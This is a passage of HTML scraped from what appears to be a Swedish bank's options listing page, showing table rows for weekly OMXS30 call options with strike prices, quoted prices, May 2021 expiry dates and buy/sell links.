<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1217224"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217224/omxs301e07y2380"
title="Köp optioner i OMXS301E07Y2380"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217224/omxs301e07y2380"
title="Sälj optioner i OMXS301E07Y2380"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217224/omxs301e07y2380" class="link" title="OMXS301E07Y2380">
OMXS301E07Y2380</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 380,00</td>
<td class="overview noSort">-</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217224" data-instrument_id="1220115"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1222359"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1222359/omxs301e14y2045"
title="Köp optioner i OMXS301E14Y2045"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1222359/omxs301e14y2045"
title="Sälj optioner i OMXS301E14Y2045"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1222359/omxs301e14y2045" class="link" title="OMXS301E14Y2045">
OMXS301E14Y2045</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 045,00</td>
<td class="overview noSort">4,93</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1222359" data-instrument_id="1225248"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1222358"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1222358/omxs301e14y2050"
title="Köp optioner i OMXS301E14Y2050"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1222358/omxs301e14y2050"
title="Sälj optioner i OMXS301E14Y2050"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1222358/omxs301e14y2050" class="link" title="OMXS301E14Y2050">
OMXS301E14Y2050</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 050,00</td>
<td class="overview noSort">5,06</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1222358" data-instrument_id="1225247"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1218055"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1218055/omxs301e14y2055"
title="Köp optioner i OMXS301E14Y2055"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1218055/omxs301e14y2055"
title="Sälj optioner i OMXS301E14Y2055"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1218055/omxs301e14y2055" class="link" title="OMXS301E14Y2055">
OMXS301E14Y2055</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 055,00</td>
<td class="overview noSort">5,44</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1218055" data-instrument_id="1220945"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1218054"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1218054/omxs301e14y2060"
title="Köp optioner i OMXS301E14Y2060"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1218054/omxs301e14y2060"
title="Sälj optioner i OMXS301E14Y2060"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1218054/omxs301e14y2060" class="link" title="OMXS301E14Y2060">
OMXS301E14Y2060</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 060,00</td>
<td class="overview noSort">5,32</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1218054" data-instrument_id="1220944"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1218051"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1218051/omxs301e14y2065"
title="Köp optioner i OMXS301E14Y2065"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1218051/omxs301e14y2065"
title="Sälj optioner i OMXS301E14Y2065"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1218051/omxs301e14y2065" class="link" title="OMXS301E14Y2065">
OMXS301E14Y2065</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 065,00</td>
<td class="overview noSort">5,33</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1218051" data-instrument_id="1220941"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1218053"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1218053/omxs301e14y2070"
title="Köp optioner i OMXS301E14Y2070"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1218053/omxs301e14y2070"
title="Sälj optioner i OMXS301E14Y2070"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1218053/omxs301e14y2070" class="link" title="OMXS301E14Y2070">
OMXS301E14Y2070</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 070,00</td>
<td class="overview noSort">5,48</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1218053" data-instrument_id="1220943"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1218052"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1218052/omxs301e14y2075"
title="Köp optioner i OMXS301E14Y2075"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1218052/omxs301e14y2075"
title="Sälj optioner i OMXS301E14Y2075"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1218052/omxs301e14y2075" class="link" title="OMXS301E14Y2075">
OMXS301E14Y2075</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 075,00</td>
<td class="overview noSort">5,93</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1218052" data-instrument_id="1220942"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1216397"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1216397/omxs301e14y2080"
title="Köp optioner i OMXS301E14Y2080"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1216397/omxs301e14y2080"
title="Sälj optioner i OMXS301E14Y2080"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1216397/omxs301e14y2080" class="link" title="OMXS301E14Y2080">
OMXS301E14Y2080</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 080,00</td>
<td class="overview noSort">5,51</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1216397" data-instrument_id="1219289"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1215282"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1215282/omxs301e14y2085"
title="Köp optioner i OMXS301E14Y2085"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1215282/omxs301e14y2085"
title="Sälj optioner i OMXS301E14Y2085"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1215282/omxs301e14y2085" class="link" title="OMXS301E14Y2085">
OMXS301E14Y2085</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 085,00</td>
<td class="overview noSort">5,98</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1215282" data-instrument_id="1218174"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212732"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212732/omxs301e14y2090"
title="Köp optioner i OMXS301E14Y2090"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212732/omxs301e14y2090"
title="Sälj optioner i OMXS301E14Y2090"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212732/omxs301e14y2090" class="link" title="OMXS301E14Y2090">
OMXS301E14Y2090</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 090,00</td>
<td class="overview noSort">6,48</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212732" data-instrument_id="1215634"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212730"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212730/omxs301e14y2095"
title="Köp optioner i OMXS301E14Y2095"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212730/omxs301e14y2095"
title="Sälj optioner i OMXS301E14Y2095"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212730/omxs301e14y2095" class="link" title="OMXS301E14Y2095">
OMXS301E14Y2095</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 095,00</td>
<td class="overview noSort">6,54</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212730" data-instrument_id="1215632"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212723"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212723/omxs301e14y2100"
title="Köp optioner i OMXS301E14Y2100"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212723/omxs301e14y2100"
title="Sälj optioner i OMXS301E14Y2100"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212723/omxs301e14y2100" class="link" title="OMXS301E14Y2100">
OMXS301E14Y2100</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 100,00</td>
<td class="overview noSort">6,59</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212723" data-instrument_id="1215625"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212722"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212722/omxs301e14y2105"
title="Köp optioner i OMXS301E14Y2105"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212722/omxs301e14y2105"
title="Sälj optioner i OMXS301E14Y2105"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212722/omxs301e14y2105" class="link" title="OMXS301E14Y2105">
OMXS301E14Y2105</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 105,00</td>
<td class="overview noSort">6,66</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212722" data-instrument_id="1215624"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212705"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212705/omxs301e14y2110"
title="Köp optioner i OMXS301E14Y2110"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212705/omxs301e14y2110"
title="Sälj optioner i OMXS301E14Y2110"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212705/omxs301e14y2110" class="link" title="OMXS301E14Y2110">
OMXS301E14Y2110</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 110,00</td>
<td class="overview noSort">6,51</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212705" data-instrument_id="1215607"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212657"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212657/omxs301e14y2115"
title="Köp optioner i OMXS301E14Y2115"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212657/omxs301e14y2115"
title="Sälj optioner i OMXS301E14Y2115"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212657/omxs301e14y2115" class="link" title="OMXS301E14Y2115">
OMXS301E14Y2115</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 115,00</td>
<td class="overview noSort">7,12</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212657" data-instrument_id="1215559"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212656"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212656/omxs301e14y2120"
title="Köp optioner i OMXS301E14Y2120"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212656/omxs301e14y2120"
title="Sälj optioner i OMXS301E14Y2120"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212656/omxs301e14y2120" class="link" title="OMXS301E14Y2120">
OMXS301E14Y2120</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 120,00</td>
<td class="overview noSort">7,19</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212656" data-instrument_id="1215558"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212655"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212655/omxs301e14y2125"
title="Köp optioner i OMXS301E14Y2125"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212655/omxs301e14y2125"
title="Sälj optioner i OMXS301E14Y2125"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212655/omxs301e14y2125" class="link" title="OMXS301E14Y2125">
OMXS301E14Y2125</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 125,00</td>
<td class="overview noSort">7,47</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212655" data-instrument_id="1215557"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212646"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212646/omxs301e14y2130"
title="Köp optioner i OMXS301E14Y2130"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212646/omxs301e14y2130"
title="Sälj optioner i OMXS301E14Y2130"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212646/omxs301e14y2130" class="link" title="OMXS301E14Y2130">
OMXS301E14Y2130</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 130,00</td>
<td class="overview noSort">7,34</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212646" data-instrument_id="1215548"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1212642"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212642/omxs301e14y2135"
title="Köp optioner i OMXS301E14Y2135"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212642/omxs301e14y2135"
title="Sälj optioner i OMXS301E14Y2135"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212642/omxs301e14y2135" class="link" title="OMXS301E14Y2135">
OMXS301E14Y2135</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 135,00</td>
<td class="overview noSort">7,66</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212642" data-instrument_id="1215544"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1212641"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1212641/omxs301e14y2140"
title="Köp optioner i OMXS301E14Y2140"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1212641/omxs301e14y2140"
title="Sälj optioner i OMXS301E14Y2140"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1212641/omxs301e14y2140" class="link" title="OMXS301E14Y2140">
OMXS301E14Y2140</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 140,00</td>
<td class="overview noSort">8,00</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1212641" data-instrument_id="1215543"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
